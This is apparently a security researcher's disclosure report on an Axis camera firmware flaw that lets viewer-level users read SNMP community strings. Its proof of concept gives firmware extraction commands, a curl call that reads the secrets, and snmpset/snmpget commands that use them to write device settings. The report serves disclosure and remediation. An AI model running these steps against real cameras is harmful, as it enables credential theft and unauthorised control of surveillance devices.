VRT Category: Sensitive Data Exposure > Disclosure of Secrets
URL/Location: https://<camera>/config/rest/snmp/v1/snmpV1V2Common
Firmware: AXIS OS P3245-LV version 11.11.192 (LTS 2024 track)
File: /usr/share/dev-conf/conf-units/api-def_snmp_v1.yaml
Description
The SNMP configuration unit in the AXIS OS DeviceConfig1 framework exposes SNMP v1/v2c community strings (readCommunity, writeCommunity, trap community) to users with viewer-level privileges. Community strings are the sole authentication mechanism for SNMP v1/v2c – they function as plaintext passwords. A viewer-level user (the lowest authenticated privilege level on the camera) can read these credentials through a single API call, then use them with any SNMP client to gain full read/write access to the device, bypassing the VAPIX role-based access model entirely.
The vulnerability is in the API access control definition. The set operation correctly restricts community string modification to admin only, but the get operation exposes the values to [viewer, operator, admin]. This inconsistency demonstrates the write path was secured but the read path was overlooked.
Proof of Concept
Step 0: Firmware Evidence
The vulnerability was identified through static analysis of firmware version 11.11.192. The firmware was extracted using:
binwalk --run-as=root -e P3245-LV_11_11_192.bin
tar xf _P3245-LV_11_11_192.bin.extracted/0
unsquashfs -d rootfs_extracted rootfs/rootfs.img
Step 1: Identify the misconfigured access control
The SNMP API definition file on the camera at /usr/share/dev-conf/conf-units/api-def_snmp_v1.yaml contains the following access control definitions (extracted from firmware):
snmpV1V2Common:
short_description: Entity that has common properties for snmp V1 and V2c
operations:
set:
fields:
optional: ["readCommunity", "writeCommunity", "address", "trap"]
properties:
readCommunity:
short_description: Read Community string
export_import: false
notification: false
data_type: string
operations:
get:
roles: [viewer, operator, admin] # <-- VIEWER CAN READ
set:
roles: [admin] # <-- ONLY ADMIN CAN WRITE
writeCommunity:
short_description: Write Community string
export_import: false
notification: false
data_type: string
operations:
get:
roles: [viewer, operator, admin] # <-- VIEWER CAN READ
set:
roles: [admin] # <-- ONLY ADMIN CAN WRITE
The same pattern repeats for community under the trap configuration (also readable by viewer).
The D-Bus transport policy at /usr/share/dbus-1/system.d/device-config-service.conf confirms viewer-level access to the DeviceConfig1 APIGateway1 interface:
<policy group="viewer">
<allow send_destination="com.axis.DeviceConfig1"
send_interface="com.axis.DeviceConfig1.APIGateway1"/>
<allow receive_sender="com.axis.DeviceConfig1"/>
</policy>
The dev-conf-service binary (Rust, built with axum/zbus) runs with --authorize and maps the caller’s Unix UID to a role, then enforces the YAML-defined access control. The YAML explicitly grants viewer the get role for credential-equivalent data.
Step 2: Read community strings as viewer
# Authenticate as viewer (lowest privilege) and read SNMP community strings
curl -s --digest -u VIEWER_USER:VIEWER_PASS \
"https://CAMERA_IP/config/rest/snmp/v1/snmpV1V2Common" | python3 -m json.tool
Expected response:
{
"status": "success",
"data": {
"readCommunity": "public",
"writeCommunity": "private",
"address": "...",
"trap": { "community": "..." }
}
}
Step 3: Use disclosed credentials for SNMP write access
# Use the disclosed writeCommunity string to modify camera settings via SNMP
# This demonstrates privilege escalation from viewer → effective admin
snmpset -v 2c -c "<writeCommunity_from_step2>" CAMERA_IP \
SNMPv2-MIB::sysContact.0 s "[email protected]"
# Verify the write succeeded
snmpget -v 2c -c "<readCommunity_from_step2>" CAMERA_IP \
SNMPv2-MIB::sysContact.0
Step 4: Confirm viewer cannot SET community strings (showing the inconsistency)
# This should fail with access denied -- proving the set path IS secured
curl -s --digest -u VIEWER_USER:VIEWER_PASS \
-X PATCH -H "Content-Type: application/json" \
-d '{"data":{"readCommunity":"hacked"}}' \
"https://CAMERA_IP/config/rest/snmp/v1/snmpV1V2Common"
# Expected: {"status":"error","error":{"code":403,"message":"Access denied"}}
The asymmetry between GET (viewer allowed) and SET (admin only) on the same credential field is the core of the finding.
Impact
- Credential disclosure: SNMP community strings are plaintext passwords. Viewer reads them in a single API call.
- Privilege escalation: Viewer uses
writeCommunitywith any SNMP v1/v2c client → gains full SNMP write access to the device, which is admin-equivalent for device configuration. - Network-level impact: SNMP credentials may be reused across multiple cameras in the same deployment (common practice), enabling fleet-wide compromise from a single viewer account.
- Surveillance implications: An attacker with SNMP write access can modify video recording settings, disable alerts, and cover their tracks on the camera.
CVSS
Score: 6.5 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Remediation
- In
api-def_snmp_v1.yaml, change thegetoperation roles forreadCommunity,writeCommunity, and trapcommunityfrom[viewer, operator, admin]to[admin]. - Audit all other DeviceConfig1 configuration units for credential-equivalent properties exposed to viewer/operator roles.
- Consider treating all SNMP community strings as write-only secrets (readable only at set time, masked thereafter).
Source · github.com/zionsworking/security-research-notebook · writeups/axis-os/snmp-community-string-viewer-disclosure.md